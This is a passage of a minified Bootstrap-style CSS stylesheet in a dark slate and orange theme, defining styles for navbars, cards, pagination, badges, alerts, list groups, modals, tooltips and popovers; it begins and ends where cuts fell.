.nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 768px){.navbar-expand-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-md .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 992px){.navbar-expand-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-lg .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 1200px){.navbar-expand-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-xl .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .dropup .dropdown-menu{top:auto;bottom:100%}}.navbar-expand{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .dropup .dropdown-menu{top:auto;bottom:100%}.navbar-light .navbar-brand{color:rgba(0,0,0,0.9)}.navbar-light .navbar-brand:hover,.navbar-light .navbar-brand:focus{color:rgba(0,0,0,0.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,0.5)}.navbar-light .navbar-nav .nav-link:hover,.navbar-light .navbar-nav .nav-link:focus{color:rgba(0,0,0,0.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,0.3)}.navbar-light .navbar-nav .show>.nav-link,.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .nav-link.active{color:rgba(0,0,0,0.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,0.5);border-color:rgba(0,0,0,0.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,0.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,0.9)}.navbar-light .navbar-text a:hover,.navbar-light .navbar-text a:focus{color:rgba(0,0,0,0.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:hover,.navbar-dark .navbar-brand:focus{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,0.75)}.navbar-dark .navbar-nav .nav-link:hover,.navbar-dark .navbar-nav .nav-link:focus{color:#fff}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,0.25)}.navbar-dark .navbar-nav .show>.nav-link,.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .nav-link.active{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,0.75);border-color:rgba(255,255,255,0.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.75)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,0.75)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:hover,.navbar-dark .navbar-text a:focus{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#4E5D6C;background-clip:border-box;border:1px solid rgba(0,0,0,0.125);border-radius:0}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:0;border-bottom-left-radius:0}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:0.75rem 1.25rem;margin-bottom:0;background-color:rgba(255,255,255,0.075);border-bottom:1px solid rgba(0,0,0,0.125)}.card-header:first-child{border-radius:calc(0 - 1px) calc(0 - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:0.75rem 1.25rem;background-color:rgba(255,255,255,0.075);border-top:1px solid rgba(0,0,0,0.125)}.card-footer:last-child{border-radius:0 0 calc(0 - 1px) calc(0 - 1px)}.card-header-tabs{margin-right:-0.625rem;margin-bottom:-0.75rem;margin-left:-0.625rem;border-bottom:0}.card-header-pills{margin-right:-0.625rem;margin-left:-0.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(0 - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(0 - 1px);border-top-right-radius:calc(0 - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(0 - 1px);border-bottom-left-radius:calc(0 - 1px)}.card-deck{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width: 576px){.card-deck{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width: 576px){.card-group{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-img-top,.card-group>.card:first-child .card-header{border-top-right-radius:0}.card-group>.card:first-child .card-img-bottom,.card-group>.card:first-child .card-footer{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-img-top,.card-group>.card:last-child .card-header{border-top-left-radius:0}.card-group>.card:last-child .card-img-bottom,.card-group>.card:last-child .card-footer{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:0}.card-group>.card:only-child .card-img-top,.card-group>.card:only-child .card-header{border-top-left-radius:0;border-top-right-radius:0}.card-group>.card:only-child .card-img-bottom,.card-group>.card:only-child .card-footer{border-bottom-right-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer{border-radius:0}}.card-columns .card{margin-bottom:0.75rem}@media (min-width: 576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;column-gap:1.25rem}.card-columns .card{display:inline-block;width:100%}}.breadcrumb{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:0.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#4E5D6C;border-radius:0}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:0.5rem;padding-left:0.5rem;color:#EBEBEB;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#EBEBEB}.pagination{display:-webkit-box;display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:0}.page-link{position:relative;display:block;padding:0.5rem 0.75rem;margin-left:-1px;line-height:1.25;color:#fff;background-color:#4E5D6C;border:1px solid transparent}.page-link:hover{color:#fff;text-decoration:none;background-color:rgba(255,255,255,0.4);border-color:transparent}.page-link:focus{z-index:2;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.page-item:last-child .page-link{border-top-right-radius:0;border-bottom-right-radius:0}.page-item.active .page-link{z-index:1;color:#fff;background-color:#DF691A;border-color:#DF691A}.page-item.disabled .page-link{color:rgba(255,255,255,0.4);pointer-events:none;cursor:auto;background-color:#4E5D6C;border-color:transparent}.pagination-lg .page-link{padding:0.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:0;border-bottom-left-radius:0}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:0;border-bottom-right-radius:0}.pagination-sm .page-link{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:0;border-bottom-left-radius:0}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:0;border-bottom-right-radius:0}.badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:0.6em;padding-left:0.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#DF691A}.badge-primary[href]:hover,.badge-primary[href]:focus{color:#fff;text-decoration:none;background-color:#b15315}.badge-secondary{color:#fff;background-color:#4E5D6C}.badge-secondary[href]:hover,.badge-secondary[href]:focus{color:#fff;text-decoration:none;background-color:#39444e}.badge-success{color:#fff;background-color:#5cb85c}.badge-success[href]:hover,.badge-success[href]:focus{color:#fff;text-decoration:none;background-color:#449d44}.badge-info{color:#212529;background-color:#5bc0de}.badge-info[href]:hover,.badge-info[href]:focus{color:#212529;text-decoration:none;background-color:#31b0d5}.badge-warning{color:#212529;background-color:#f0ad4e}.badge-warning[href]:hover,.badge-warning[href]:focus{color:#212529;text-decoration:none;background-color:#ec971f}.badge-danger{color:#fff;background-color:#d9534f}.badge-danger[href]:hover,.badge-danger[href]:focus{color:#fff;text-decoration:none;background-color:#c9302c}.badge-light{color:#212529;background-color:#8d9dad}.badge-light[href]:hover,.badge-light[href]:focus{color:#212529;text-decoration:none;background-color:#6f8397}.badge-dark{color:#fff;background-color:#4E5D6C}.badge-dark[href]:hover,.badge-dark[href]:focus{color:#fff;text-decoration:none;background-color:#39444e}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#4E5D6C;border-radius:0}@media (min-width: 576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:0.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:0}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:0.75rem 1.25rem;color:inherit}.alert-primary{color:#74370e;background-color:#f9e1d1;border-color:#f6d5bf}.alert-primary hr{border-top-color:#f3c6a9}.alert-primary .alert-link{color:#462109}.alert-secondary{color:#293038;background-color:#dcdfe2;border-color:#cdd2d6}.alert-secondary hr{border-top-color:#bfc5cb}.alert-secondary .alert-link{color:#13171b}.alert-success{color:#306030;background-color:#def1de;border-color:#d1ebd1}.alert-success hr{border-top-color:#bfe3bf}.alert-success .alert-link{color:#1f3e1f}.alert-info{color:#2f6473;background-color:#def2f8;border-color:#d1edf6}.alert-info hr{border-top-color:#bce5f2}.alert-info .alert-link{color:#20454f}.alert-warning{color:#7d5a29;background-color:#fcefdc;border-color:#fbe8cd}.alert-warning hr{border-top-color:#f9ddb5}.alert-warning .alert-link{color:#573e1c}.alert-danger{color:#712b29;background-color:#f7dddc;border-color:#f4cfce}.alert-danger hr{border-top-color:#efbbb9}.alert-danger .alert-link{color:#4c1d1b}.alert-light{color:#49525a;background-color:#e8ebef;border-color:#dfe3e8}.alert-light hr{border-top-color:#d0d6dd}.alert-light .alert-link{color:#32383e}.alert-dark{color:#293038;background-color:#dcdfe2;border-color:#cdd2d6}.alert-dark hr{border-top-color:#bfc5cb}.alert-dark .alert-link{color:#13171b}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-webkit-box;display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:0.75rem;background-color:#4E5D6C;border-radius:0}.progress-bar{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;color:#DF691A;text-align:center;background-color:#DF691A;-webkit-transition:width 0.6s ease;transition:width 0.6s ease}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.media-body{-webkit-box-flex:1;-ms-flex:1;flex:1}.list-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#fff;text-align:inherit}.list-group-item-action:hover,.list-group-item-action:focus{color:#fff;text-decoration:none;background-color:rgba(255,255,255,0.4)}.list-group-item-action:active{color:#EBEBEB;background-color:#4E5D6C}.list-group-item{position:relative;display:block;padding:0.75rem 1.25rem;margin-bottom:-1px;background-color:#4E5D6C;border:1px solid transparent}.list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.list-group-item:hover,.list-group-item:focus{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:rgba(255,255,255,0.4);background-color:#4E5D6C}.list-group-item.active{z-index:2;color:#fff;background-color:#DF691A;border-color:#DF691A}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#74370e;background-color:#f6d5bf}.list-group-item-primary.list-group-item-action:hover,.list-group-item-primary.list-group-item-action:focus{color:#74370e;background-color:#f3c6a9}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#74370e;border-color:#74370e}.list-group-item-secondary{color:#293038;background-color:#cdd2d6}.list-group-item-secondary.list-group-item-action:hover,.list-group-item-secondary.list-group-item-action:focus{color:#293038;background-color:#bfc5cb}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#293038;border-color:#293038}.list-group-item-success{color:#306030;background-color:#d1ebd1}.list-group-item-success.list-group-item-action:hover,.list-group-item-success.list-group-item-action:focus{color:#306030;background-color:#bfe3bf}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#306030;border-color:#306030}.list-group-item-info{color:#2f6473;background-color:#d1edf6}.list-group-item-info.list-group-item-action:hover,.list-group-item-info.list-group-item-action:focus{color:#2f6473;background-color:#bce5f2}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#2f6473;border-color:#2f6473}.list-group-item-warning{color:#7d5a29;background-color:#fbe8cd}.list-group-item-warning.list-group-item-action:hover,.list-group-item-warning.list-group-item-action:focus{color:#7d5a29;background-color:#f9ddb5}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#7d5a29;border-color:#7d5a29}.list-group-item-danger{color:#712b29;background-color:#f4cfce}.list-group-item-danger.list-group-item-action:hover,.list-group-item-danger.list-group-item-action:focus{color:#712b29;background-color:#efbbb9}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#712b29;border-color:#712b29}.list-group-item-light{color:#49525a;background-color:#dfe3e8}.list-group-item-light.list-group-item-action:hover,.list-group-item-light.list-group-item-action:focus{color:#49525a;background-color:#d0d6dd}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#49525a;border-color:#49525a}.list-group-item-dark{color:#293038;background-color:#cdd2d6}.list-group-item-dark.list-group-item-action:hover,.list-group-item-dark.list-group-item-action:focus{color:#293038;background-color:#bfc5cb}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#293038;border-color:#293038}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover,.close:focus{color:#000;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:0.5rem;pointer-events:none}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, -25%);transform:translate(0, -25%)}.modal.show .modal-dialog{-webkit-transform:translate(0, 0);transform:translate(0, 0)}.modal-dialog-centered{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:calc(100% - (0.5rem * 2))}.modal-content{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#4E5D6C;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:0.5}.modal-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid rgba(0,0,0,0.2);border-top-left-radius:0;border-top-right-radius:0}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid rgba(0,0,0,0.2)}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width: 992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:"Lato", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:0.9}.tooltip .arrow{position:absolute;display:block;width:0.8rem;height:0.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-top,.bs-tooltip-auto[x-placement^="top"]{padding:0.4rem 0}.bs-tooltip-top .arrow,.bs-tooltip-auto[x-placement^="top"] .arrow{bottom:0}.bs-tooltip-top .arrow::before,.bs-tooltip-auto[x-placement^="top"] .arrow::before{top:0;border-width:0.4rem 0.4rem 0;border-top-color:#000}.bs-tooltip-right,.bs-tooltip-auto[x-placement^="right"]{padding:0 0.4rem}.bs-tooltip-right .arrow,.bs-tooltip-auto[x-placement^="right"] .arrow{left:0;width:0.4rem;height:0.8rem}.bs-tooltip-right .arrow::before,.bs-tooltip-auto[x-placement^="right"] .arrow::before{right:0;border-width:0.4rem 0.4rem 0.4rem 0;border-right-color:#000}.bs-tooltip-bottom,.bs-tooltip-auto[x-placement^="bottom"]{padding:0.4rem 0}.bs-tooltip-bottom .arrow,.bs-tooltip-auto[x-placement^="bottom"] .arrow{top:0}.bs-tooltip-bottom .arrow::before,.bs-tooltip-auto[x-placement^="bottom"] .arrow::before{bottom:0;border-width:0 0.4rem 0.4rem;border-bottom-color:#000}.bs-tooltip-left,.bs-tooltip-auto[x-placement^="left"]{padding:0 0.4rem}.bs-tooltip-left .arrow,.bs-tooltip-auto[x-placement^="left"] .arrow{right:0;width:0.4rem;height:0.8rem}.bs-tooltip-left .arrow::before,.bs-tooltip-auto[x-placement^="left"] .arrow::before{left:0;border-width:0.4rem 0 0.4rem 0.4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:0.25rem 0.5rem;color:#fff;text-align:center;background-color:#000;border-radius:0}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:"Lato", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;background-color:#4E5D6C;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:0}.popover .arrow{position:absolute;display:block;width:1rem;height:0.5rem;margin:0 0}.popover .arrow::before,.popover .arrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-top,.bs-popover-auto[x-placement^="top"]{margin-bottom:0.5rem}.bs-popover-top .arrow,.bs-popover-auto[x-placement^="top"] .arrow{bottom:calc((0.5rem + 1px) * -1)}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{border-width:0.5rem 0.5rem 0}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before{bottom:0;border-top-color:rgba(0,0,0,0.25)}.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{bottom:1px;border-top-color:#4E5D6C}.bs-popover-right,.bs-popover-auto[x-placement^="right"]{margin-left:0.5rem}.bs-popover-right .arrow,.bs-popover-auto[x-placement^="right"] .arrow{left:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{border-width:0.5rem 0.5rem 0.5rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before{left:0;border-right-color:rgba(0,0,0,0.25)}.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{left:1px;border-right-color:#4E5D6C}.bs-popover-bottom,.bs-popover-auto[x-placement^="bottom"]{margin-top:0.5rem}.bs-popover-bottom .arrow,.bs-popover-auto[x-placement^="bottom"] .arrow{top:calc((0.5rem + 1px) * -1)}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{border-width:0 0.5rem 0.5rem 0.5rem}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before{top:0;border-bottom-color:rgba(0,0,0,0.25)}.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{top:1px;border-bottom-color:#4E5D6C}.bs-popover-bottom .popover-header::before,.bs-popover-auto[x-placement^="bottom"] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:1px solid rgba(255,255,255,0.075)}.bs-popover-left,.bs-popover-auto[x-placement^="left"]{margin-right:0.5rem}.bs-popover-left .arrow,.bs-popover-auto[x-placement^="left"] .arrow{right:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0 0}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{border-width:0.5rem 0 0.5rem 0.5rem}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before{right:0;border-left-color:rgba(0,0,0,0.25)}.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{right:1px;border-left-color:#4E5D6C}.popover-header{padding:0.5rem 